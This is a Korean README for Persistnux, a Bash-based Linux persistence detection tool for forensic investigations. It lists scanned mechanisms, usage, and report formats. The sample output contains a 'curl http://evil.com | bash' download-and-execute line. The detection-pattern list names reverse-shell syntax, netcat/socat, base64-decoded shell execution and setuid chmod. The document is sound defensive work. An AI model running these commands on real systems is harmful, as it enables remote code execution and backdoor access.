
DFIR 조사를 위한 Bash 기반 Linux 지속성 탐지 도구. 15개 이상의 지속성 메커니즘(systemd, cron, 커널 모듈, SSH, 컨테이너)을 스캔하고 신뢰도 점수를 부여하며, 포렌식 분석을 위한 CSV/JSONL 보고서를 생성합니다.
디지털 포렌식 및 침해사고 대응(DFIR) 조사를 위한 포괄적인 Linux 지속성 탐지 도구입니다.
Persistnux는 공격자가 손상된 시스템에 접근을 유지하기 위해 사용하는 알려진 Linux 지속성 메커니즘을 식별하도록 설계된 bash 기반 도구입니다. 시스템 전반에 걸쳐 포괄적인 검사를 수행하고 추가 분석을 위해 CSV 및 JSONL 형식의 상세 보고서를 생성합니다.
/etc/systemd/system, /lib/systemd/system, /usr/lib/systemd/system 디렉토리의 서비스 파일(.service)/etc/crontab, /etc/cron.d/*)/etc/cron.{daily,hourly,weekly,monthly})/etc/cron.allow 및 /etc/cron.deny ACL 파일 — 존재하지 않는 사용자를 참조하는 항목 플래그/etc/profile, /etc/bash.bashrc, /etc/zshrc)/etc/profile.d/*).bashrc, .bash_profile, .zshrc, .profile 등)/etc/rc.local 및 변형/etc/init.d)/etc/rc*.d)/etc/ld.so.preload) — 나열된 각 라이브러리를 패키지 관리자를 통해 확인/etc/ld.so.conf, /etc/ld.so.conf.d/) — 구성 파일 무결성 확인 + 비표준 경로 .so 파일 스캔 및 확인/etc/environment LD_PRELOAD/LD_LIBRARY_PATH — 환경 파일이 HIGH로 플래그 지정됨; 참조된 라이브러리 경로 확인(비관리/수정 → CRITICAL)/etc/modprobe.d/, /etc/modprobe.conf) — 파일 무결성 확인; install 지시문 분석하여 의심스러운 명령 대상 확인; 보안 모듈(apparmor, selinux, seccomp)의 blacklist는 HIGH로 플래그 지정/etc/modules, /etc/modules-load.d/) — 구성 무결성 확인; 참조된 모듈 이름을 modinfo를 통해 .ko 파일로 확인 및 검증.config/autostart, /etc/xdg/autostart) — 루트일 때 모든 사용자 홈 디렉토리 스캔/etc/environment) — LD_PRELOAD/LD_LIBRARY_PATH 라이브러리 경로 확인/etc/sudoers, /etc/sudoers.d/) — NOPASSWD/ALL 패턴 → HIGH.so 모듈을 패키지 관리자로 확인; @include 지시문 추적; /etc/pam.conf 포함pam_exec.so 스크립트 분석 — 누락/의심스러운 스크립트 → CRITICALpam_python.so / pam_perl.so 중계 탐지 — 스크립트 추출 및 분석/etc/security/ 에서 pam_script.so 후크 파일 탐지~/.ssh/authorized_keys — 최근 수정된 키 플래그; command= 옵션 내용 분석하여 의심스러운 패턴 탐지~/.ssh/rc — 존재 시 MEDIUM 플래그; 의심스러운/리버스 셸 내용 → HIGH/CRITICALdpkg -V, RHEL/CentOS: rpm -Va)/usr/bin, /usr/sbin, /bin, /sbin 내 수정된 파일 → CRITICAL 발견/lib/security 내 수정된 PAM 모듈 → CRITICAL 발견init= 커널 매개변수 삽입(/etc/default/grub, /etc/default/grub.d/*.cfg)/ 에 드롭된 init 스크립트/sysroot/etc/shadow 에 쓰는 pre-pivot 훅이 있는 Dracut initramfs 모듈/etc/initramfs-tools/scripts/ 및 /hooks/ 에 있는 Ubuntu initramfs-tools 훅 스크립트/boot/initrd.img-* 이미지(mtime 기반)ResultAny/ResultInactive/ResultActive=yes 가 있는 .pkla 파일unix-user:*) 부여polkit.Result.YES 가 있는 .rules 파일(JavaScript 기반 Polkit >= 0.106)Exec= 등록(/usr/share/dbus-1/system-services/)allow own="*" 또는 send_destination="*" 지시문/etc/NetworkManager/dispatcher.d/)RUN+= 지시문(/etc/udev/rules.d/, /lib/udev/rules.d/)/run/udev/rules.d/ 에 런타임 주입된 규칙RUN+= 내 at/cron 위임 패턴(일반적인 포그라운드 제한 우회)--privileged, --pid=host)docker.sock 바인드 마운트(Docker API를 통한 전체 호스트 제어)nsenter -t 1getcap 을 통한 파일 캐퍼빌리티 스캔 — GTFOBins 에서 cap_setuid+ep → CRITICAL.original, .old, .bak, .real)이 있는 바이너리 하이재킹/etc/passwd 에서 UID 0인 비루트 계정/etc/passwd 셸 필드의 후행 공백을 통한 셸 마스킹authorized_keys 파일이 있는 시스템 계정(UID 1-999)# 저장소 복제
git clone https://github.com/yourusername/persistnux.git
cd persistnux
# 스크립트에 실행 권한 부여
chmod +x persistnux.sh
# 기본 설정으로 실행 (의심스러운 결과만 표시)
sudo ./persistnux.sh
# 도움말 및 모든 옵션 표시
./persistnux.sh --help
# 일반 사용자로 실행 (범위 제한)
./persistnux.sh
기본적으로 Persistnux는 노이즈를 줄이고 실행 가능한 위협에 집중하기 위해 의심스러운 결과만 (MEDIUM, HIGH, CRITICAL 신뢰도) 표시합니다.
# 기본값: 의심스러운 결과만 표시
sudo ./persistnux.sh
# 전체 결과 표시 (LOW 신뢰도 포함)
sudo ./persistnux.sh --all
# 또는
sudo FILTER_MODE=all ./persistnux.sh
# HIGH 및 CRITICAL 신뢰도 결과만 표시
sudo MIN_CONFIDENCE=HIGH ./persistnux.sh
# 필터 결합: HIGH 신뢰도만
sudo ./persistnux.sh --min-confidence HIGH
# 사용자 정의 출력 디렉토리 지정
sudo OUTPUT_DIR=/tmp/evidence ./persistnux.sh
# 필터링과 결합
sudo OUTPUT_DIR=/tmp/evidence MIN_CONFIDENCE=HIGH ./persistnux.sh
기본적으로 Persistnux는 ./persistnux_output/ 디렉토리를 생성하며 다음 파일을 포함합니다:
persistnux_<hostname>_<timestamp>.csv - CSV 형식 보고서persistnux_<hostname>_<timestamp>.jsonl - JSONL 형식 보고서 (줄당 하나의 JSON 객체)persistnux_<hostname>_<timestamp>_report.txt - 사람이 읽을 수 있는 요약 보고서 (결과 개수 및 스캔 메타데이터 포함)timestamp,hostname,category,confidence,file_path,file_hash,file_owner,file_permissions,file_age_days,package_status,command,description,matched_pattern,matched_string
2026-01-23T10:30:00Z,webserver01,Systemd Service,HIGH,/etc/systemd/system/example.service,abc123...,root:root,644,3,unmanaged,example.service,suspicious_script_content,"curl http://evil.com | bash"
{
"timestamp": "2026-01-23T10:30:00Z",
"hostname": "webserver01",
"category": "Systemd Service",
"confidence": "HIGH",
"file_path": "/etc/systemd/system/example.service",
"file_hash": "abc123...",
"file_owner": "root:root",
"file_permissions": "644",
"file_age_days": "3",
"package_status": "unmanaged",
"command": "/opt/example.sh",
"description": "example.service",
"matched_pattern": "suspicious_script_content",
"matched_string": "curl http://evil.com | bash"
}
suspicious_script_content, modified_package, unmanaged_binary)Persistnux는 오탐지를 줄이기 위해 지능적인 신뢰도 점수를 사용합니다:
Persistnux는 이제 오탐지를 줄이기 위한 여러 기능을 포함합니다:
dpkg (Debian/Ubuntu) 또는 rpm (RedHat/CentOS)으로 관리되는 파일은 더 낮은 신뢰도 점수를 받습니다.Persistnux는 다음을 감지할 때 자동으로 항목에 더 높은 신뢰도를 부여합니다:
bash -i >& /dev/tcp/, sh -i >& /dev/udp/nc, netcat, socat, telnetpython -c 'import socket'curl | bash, wget | shcurl URL -o /tmp/file && chmod +xbase64 -d | bash, eval $(echo BASE64)eval, exec/tmp, /dev/shm, /var/tmpchmod +x, chmod 777chmod u+sfind, grep, stat, sha256sum, awk, filesystemctl, lsmod, modinfo, getcap, dpkg/rpm (특정 검사용)python/jq 필요 없음)참고: 이 도구는 주로 Ubuntu/Debian 시스템에서 테스트되었습니다. RedHat, Fedora 및 RPM 기반 배포판은 코드에 패키지 관리자 지원이 구현되어 있지만 라이브 테스트 환경에서 검증되지 않았습니다. RPM 기반 배포판에 대한 기여 및 테스트 보고서를 환영합니다.
Persistnux는 Persistnux가 탐지하는 것과 동일한 지속성 메커니즘을 설치하는 PANIX에 대해 벤치마크됩니다.
tests/panix_benchmark.sh의 반복 가능한 테스트 하니스는 각 PANIX 기법을 적용하고, Persistnux를 실행하며, 기준 diff를 통해 탐지를 확인합니다.
테스트 박스에 적용되는 모든 파일 기반 PANIX 기법은 MEDIUM+ 신뢰도로 탐지됩니다. 전체 적용 범위 표와 방법론은 PANIX_BENCHMARK.md를 참조하십시오.
⚠️ 벤치마크는 실제 백도어를 설치합니다 — 폐기 가능한 VM에서만 실행하십시오.
https://www.elastic.co/security-labs/continuation-on-persistence-mechanisms https://www.elastic.co/security-labs/approaching-the-summit-on-persistence https://www.elastic.co/security-labs/primer-on-persistence-mechanisms https://www.elastic.co/security-labs/sequel-on-persistence-mechanisms https://github.com/Aegrah/PANIX
기여를 환영합니다! 다음에 대해 자유롭게 풀 리퀘스트를 제출하거나 이슈를 열어 주십시오:
MIT 라이선스 — 자세한 내용은 LICENSE 파일을 참조하십시오.
Linux 침해사고 대응 및 포렌식 조사를 돕기 위해 DFIR 커뮤니티를 위해 개발되었습니다.
이 도구는 승인된 보안 테스트, 침해사고 대응 및 포렌식 분석 목적으로만 사용됩니다. 사용자는 이 도구를 시스템에서 실행하기 전에 적절한 승인을 받아야 할 책임이 있습니다.
질문, 이슈 또는 기여에 대해서는 GitHub 이슈 트래커를 사용해 주십시오.
lsmod) — 열거 및 무결성 확인pam_env.conf 및 ~/.pam_environment LD_PRELOAD 라이브러리 확인/etc/security/ 일반 스캔/etc/update-motd.d/) — 패키지 확인; 수정 → CRITICAL| 배포판 | 상태 | 비고 |
|---|
| Ubuntu 22.04 LTS | ✅ 테스트 완료 | 주요 개발 및 테스트 플랫폼 |
| Ubuntu 20.04 LTS | ✅ 테스트 완료 | 완전 지원 |
| Debian 11/12 | ✅ 테스트 완료 | dpkg 기반, 동일한 경로 규칙 |
| Kali Linux (rolling) | ✅ 테스트 완료 | PANIX 탐지 벤치마크에 사용됨 (아래 참조) |
| RedHat / RHEL | ⚠️ 아직 테스트 안 됨 | rpm 지원이 구현되었지만 라이브 시스템에서 검증되지 않음 |
| Fedora | ⚠️ 아직 테스트 안 됨 | rpm 지원이 구현되었지만 라이브 시스템에서 검증되지 않음 |
| CentOS / AlmaLinux / Rocky | ⚠️ 아직 테스트 안 됨 | rpm 지원이 구현되었지만 라이브 시스템에서 검증되지 않음 |